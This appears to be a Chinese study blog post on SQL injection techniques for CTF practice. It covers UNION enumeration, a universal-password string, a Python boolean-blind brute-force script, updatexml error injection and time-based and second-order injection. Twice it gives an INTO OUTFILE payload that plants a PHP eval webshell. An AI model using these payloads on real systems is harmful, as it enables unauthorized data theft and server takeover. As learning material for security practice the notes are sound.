sql深入学习

文章目录

前言

这次学习建立在对数据库有基本的认识,了解基础的增删改查语句,数字型注入和字符型注入的基础上,进一步深入学习知识,并进行实战训练

知识学习

注释的两种形式

  1. #号,url编码用%23替代
  2. --空格

字符型注入

注入字符被引号包裹,需要采取一定的策略绕过,包括or截断,前面引号后面注释等

sql 复制代码
//eq:拼接sql语句查找指定ID用户
$sql = "select username,password from user 
where username !='flag' and id = '".$_GET['id']."' limit 1;";

显然需要传入id,假设传入id=1,那么我们得到的效果就是id='1',所以在这里需要构造语句来达到查询效果

在sql语句中,and运算符的优先级比or高,构造id=-1使username!='flag'失效,再构造or username='flag'达到查询效果。

payload:id=-1' or username='fla

如果返回逻辑继续优化,我们就需要用常规联合查询的步骤走

php 复制代码
//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

首先,通过排序逻辑判断列数

id=1 order by 2(依据第二列排序,这个数字逐渐增加,直到报错为止,得到列数)

select 1,database() 得到数据库名称
select group_concat(table_name) from information_schema.tables where table_schema=database();得到表名
select (select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'),database() 得到列名
select (select group_concat(password) from ctfshow_web.ctfshow_user2),database()%23 拿具体信息

在无过滤题目中,可以采取写入一句话木马再蚁剑连接的形式
id=0' union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php%23"

万能密码

假设我们的登录逻辑是user='a' and password='b',and逻辑的优先级比or高,所以如果前面的登录密码输错,那么一定是0,0 or 1的结果为1,所以就产生了万能密码,当然,在现在的网站中绝大部分都不会有这样的漏洞

c 复制代码
'or 1=1--

布尔盲注

注入没有明显的返回结果,注入成功页面正常,注入失败页面报错

猜测脚本

python 复制代码
import requests


url = "http://127.0.0.1/login.php"

string = "abcdefghijklmnopqrstuvwxyz0123456789";
password = ""

for i in range(10):
	for s in string:
		data={
			"username":f"xxx' or if(substr((select password from user where id = 1),{i+1},1)='{s}',1,0)#",
			"password":"ctfshow"
		}
		response = requests.post(url=url,data=data)
		if "登录成功" in response.text:
			password+=s
			break
		else:
			print(f"正在尝试第{i+1}位字符是否为{s}")


print("password is "+password)

报错注入

报错会返回信息,利用这一点拿到信息

updatexml函数强制报错,并可执行语句,带出语句的查询结果

c 复制代码
username=admin' or updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),'^'),1)%23&password=123123

类似的,采用整数溢出报错,不存在函数报错等等也能达到同样的效果

堆叠注入

多个;号多个注入语句

拼接法绕过

eg:@a=sele,@b=ct,@payload=@a+@b

时间盲注

可以执行sql注入,但是不知道注入结果,甚至不知道注入了没

  • sleep函数获取延时信息
  • 笛卡尔积查询(查询大量数量达到一定时间的效果)
  • get_lock()函数延时法,针对数据库的长连接有效(php每次用完后就会断开连接,java维护数据库连接池,实现长连接)

二次注入

无法直接注入,但是可以把要注入的数据先放到数据库中,其他地方引用数据库中的的数据拼接语句时不再进行过滤

小技巧

表示数据时可以采用十六进制形式

无过滤题目可以采用写入shell,再蚁剑连接查看数据库

c 复制代码
1 union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"
相关推荐
传奇开心果编程3 分钟前
【Jetpack Compose基础语法学与练】第7课 if条件渲染 + 列表基础(LazyColumn)
学习·ui·kotlin·android jetpack
wuyk55515 分钟前
【Socket 进阶之路】第 7 章 IO 多路复用 select & poll 完整实战|多 fd 监听、超时等待、优缺点横向对比
服务器·开发语言·网络·数据库·物联网
Rabitebla24 分钟前
【Linux系统编程】 指令(二):一条路径是怎么定位到文件的
linux·c++·笔记·学习·算法
文人sec37 分钟前
grant 之后要跟着 flush privileges 吗?要不要使用分区表?
数据库·mysql·adb·数据分析
databook41 分钟前
使用 DuckDB 分析 Parquet 文件
sql·数据分析·nosql
小贺儿开发43 分钟前
Unity 结合百度AI开放平台 手写文字识别
人工智能·科技·学习·unity·云服务·文字识别·手写文字
传奇开心果编程1 小时前
【SwiftUI入门练中学】第1课 从零开始
学习·ui·ios·swiftui·swift
Omics Pro1 小时前
上海AI Lab孙思琦×高张阳:虚拟细胞代码库智能体
数据库·人工智能·算法·机器学习·自然语言处理
是隼人1 小时前
buuctf-pwn ciscn_2019_sw_1(32位只有一次格式化机会)题解(学习过程持续更新)
c语言·学习·安全·pwn入门·ctf入门
传奇开心果编程1 小时前
【Jetpack Compose基础语法学与练】第9课 SideEffect副作用 + LaunchedEffect,处理异步任务和生命周期
android·学习·ui·kotlin·android jetpack